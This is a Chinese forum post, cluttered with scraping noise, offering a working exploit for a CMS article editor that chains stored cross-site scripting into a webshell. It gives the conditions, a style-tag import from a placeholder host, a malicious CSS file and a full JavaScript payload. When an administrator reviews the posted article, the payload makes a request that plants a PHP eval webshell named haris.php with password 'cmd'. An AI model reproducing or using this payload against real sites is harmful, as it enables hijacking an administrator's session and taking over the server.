<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell* d2 Z3 k6 K! t( l! p& c8 G( ^
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
0 _, [! z7 F4 a5 U1 r4 o3 t目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。6 f" p, v2 v0 b4 b2 ^9 h
下面说说利用方法。: O; }0 B: R2 X6 Z$ s7 F
条件有2个:, [$ V4 b5 `/ z# `# E4 V
1.开启注册
( U$ i7 v, m4 c) n( t$ Q0 R0 v2.开启投稿+ u$ B& O( V3 K( `$ e7 t3 s
注册会员----发表文章+ q2 e! C2 H! f5 T7 T, }$ o
内容填写:
1 t8 o! b1 Z3 w [! u1 G复制代码
0 j4 q6 p7 c6 m& }1 l7 f<style>@im\port'\http://xxx.com/xss.css';</style>
5 o& b6 l7 H% J) U新建XSS.Css
# Q6 w0 l1 Q. e" k复制代码
0 X( S+ K' q; _' d.body{
w& u) @6 P( y. I- bbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }" C( L4 w( r2 d! u5 ]& S! z( g% A9 H
新建xss.js 内容为- p' x# U6 G- j: H7 q1 ]0 G, q% j5 }
复制代码- R( x" r; ^; w" x" c
1.var request = false;
5 a. a: B5 b' f) s" M3 B' x/ b# j2.if(window.XMLHttpRequest) {
9 L1 \& o3 ]7 D" [$ N: S3.request = new XMLHttpRequest();1 D1 w- H# r. W! f9 _# ^) m
4.if(request.overrideMimeType) {
4 v! d: c* }6 U6 L2 _6 ?5.request.overrideMimeType('text/xml');
2 z: Z& Z5 ~& L, n1 @6.}
1 h8 y! i* c* H! g( F l# G# y$ \7.} else if(window.ActiveXObject) {
8 k% n8 B7 b1 c8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];5 H0 E. k; C1 i3 {8 O8 }
9.for(var i=0; i<versions.length; i++) {2 A5 ~; [$ h5 S/ N
10.try {1 E- v5 m& n4 j5 t2 ?; ^+ p
11.request = new ActiveXObject(versions);( V* {3 H% ]- M6 A) i* N
12.} catch(e) {}
' V6 M6 _ T. B2 p2 L* d0 Z13.}- p, l$ \+ j5 R
14.}: F: ]5 \9 F. t. B" a
15.xmlhttp=request;
$ Y, k9 O/ c" z& ]. u16.function getFolder( url ){
B- d' w" Z- c; f7 }6 g17. obj = url.split('/')
" G# E: x4 s; d( d3 m18. return obj[obj.length-2]1 u7 Z I% \7 U3 ?: p) j3 S9 N
19.}2 Y2 H& }' H$ m$ k+ o/ s. J& Y! t
20.oUrl = top.location.href;
% K6 N# |4 y; V9 P21.u = getFolder(oUrl);+ u9 |3 ~+ b$ o2 z2 c* V) F& Y
22.add_admin();9 T; l4 {& H+ S! A8 K! N
23.function add_admin(){
( }$ f8 o5 X8 W24.var url= "/"+u+"/sys_sql_query.php";
9 t* P: q1 n4 L2 F! p25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
- x1 ?. T- s6 p. K# e26.xmlhttp.open("POST", url, true);3 {# x6 l5 [( W3 A6 k2 U
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");3 M8 v5 W3 w3 s s' o+ W. I. V
28.xmlhttp.setRequestHeader("Content-length", params.length);
9 P7 B3 T! p, U! z29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
9 k1 r: J/ ^5 T) \2 |30.xmlhttp.send(params);
: f; s4 t/ U' {% h31.}1 U$ ~$ @' \" {) n9 c4 A/ e; }
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |